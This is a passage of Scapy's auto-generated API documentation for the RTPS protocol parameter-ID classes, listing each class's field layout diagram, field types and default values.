 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. PID_CONTENT_FILTER_PROPERTY                 


PID_CONTENT_FILTER_PROPERTY fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_DEADLINE(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L179-L180]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PID_DEADLINE                         


PID_DEADLINE fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_DEFAULT_MULTICAST_LOCATOR(_pkt, /, *, parameterId=0, parameterLength=0, locator=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L341-L355]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            LOCATOR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. PID_DEFAULT_MULTICAST_LOCATOR                


PID_DEFAULT_MULTICAST_LOCATOR fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	locator

	PacketField

	b''















	
class scapy.contrib.rtps.pid_types.PID_DEFAULT_UNICAST_IPADDRESS(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L396-L397]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. PID_DEFAULT_UNICAST_IPADDRESS                


PID_DEFAULT_UNICAST_IPADDRESS fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_DEFAULT_UNICAST_LOCATOR(_pkt, /, *, parameterId=0, parameterLength=0, locator=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L324-L338]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            LOCATOR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. PID_DEFAULT_UNICAST_LOCATOR                 


PID_DEFAULT_UNICAST_LOCATOR fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	locator

	PacketField

	b''















	
class scapy.contrib.rtps.pid_types.PID_DEFAULT_UNICAST_PORT(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L400-L401]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. PID_DEFAULT_UNICAST_PORT                   


PID_DEFAULT_UNICAST_PORT fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_DESTINATION_ORDER(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L199-L200]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PID_DESTINATION_ORDER                    


PID_DESTINATION_ORDER fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_DOMAIN_ID(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L514-L515]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PID_DOMAIN_ID                        


PID_DOMAIN_ID fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_DOMAIN_TAG(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L510-L511]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PID_DOMAIN_TAG                        


PID_DOMAIN_TAG fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_DURABILITY(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L171-L172]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PID_DURABILITY                        


PID_DURABILITY fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_DURABILITY_SERVICE(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L175-L176]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PID_DURABILITY_SERVICE                    


PID_DURABILITY_SERVICE fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_ENDPOINT_GUID(_pkt, /, *, parameterId=0, parameterLength=0, guid=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L457-L471]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              GUID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. PID_ENDPOINT_GUID                      


PID_ENDPOINT_GUID fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	guid

	PacketField

	b''















	
class scapy.contrib.rtps.pid_types.PID_ENTITY_NAME(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L494-L495]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PID_ENTITY_NAME                       


PID_ENTITY_NAME fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_EXPECTS_INLINE_QOS(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L420-L421]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PID_EXPECTS_INLINE_QOS                    


PID_EXPECTS_INLINE_QOS fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_GROUP_DATA(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L163-L164]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PID_GROUP_DATA                        


PID_GROUP_DATA fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_GROUP_ENTITYID(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L478-L479]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PID_GROUP_ENTITYID                      


PID_GROUP_ENTITYID fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_GROUP_GUID(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L474-L475]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PID_GROUP_GUID                        


PID_GROUP_GUID fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_HISTORY(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L203-L204]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. PID_HISTORY                         


PID_HISTORY fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_KEY_HASH(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L498-L499]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PID_KEY_HASH                         


PID_KEY_HASH fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_LATENCY_BUDGET(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L183-L184]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PID_LATENCY_BUDGET                      


PID_LATENCY_BUDGET fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_LIFESPAN(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L195-L196]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PID_LIFESPAN                         


PID_LIFESPAN fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_LIVELINESS(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L187-L188]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PID_LIVELINESS                        


PID_LIVELINESS fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_METATRAFFIC_MULTICAST_IPADDRESS(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L412-L413]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. PID_METATRAFFIC_MULTICAST_IPADDRESS             


PID_METATRAFFIC_MULTICAST_IPADDRESS fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_METATRAFFIC_MULTICAST_LOCATOR(_pkt, /, *, parameterId=0, parameterLength=0, locator=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L379-L393]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            LOCATOR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. PID_METATRAFFIC_MULTICAST_LOCATOR              


PID_METATRAFFIC_MULTICAST_LOCATOR fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	locator

	PacketField

	b''















	
class scapy.contrib.rtps.pid_types.PID_METATRAFFIC_MULTICAST_PORT(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L416-L417]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. PID_METATRAFFIC_MULTICAST_PORT                


PID_METATRAFFIC_MULTICAST_PORT fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_METATRAFFIC_UNICAST_IPADDRESS(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L404-L405]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. PID_METATRAFFIC_UNICAST_IPADDRESS              


PID_METATRAFFIC_UNICAST_IPADDRESS fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_METATRAFFIC_UNICAST_LOCATOR(_pkt, /, *, parameterId=0, parameterLength=0, locator=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L362-L376]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            LOCATOR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. PID_METATRAFFIC_UNICAST_LOCATOR               


PID_METATRAFFIC_UNICAST_LOCATOR fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	locator

	PacketField

	b''















	
class scapy.contrib.rtps.pid_types.PID_METATRAFFIC_UNICAST_PORT(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L408-L409]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. PID_METATRAFFIC_UNICAST_PORT                 


PID_METATRAFFIC_UNICAST_PORT fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_MULTICAST_IPADDRESS(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L320-L321]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
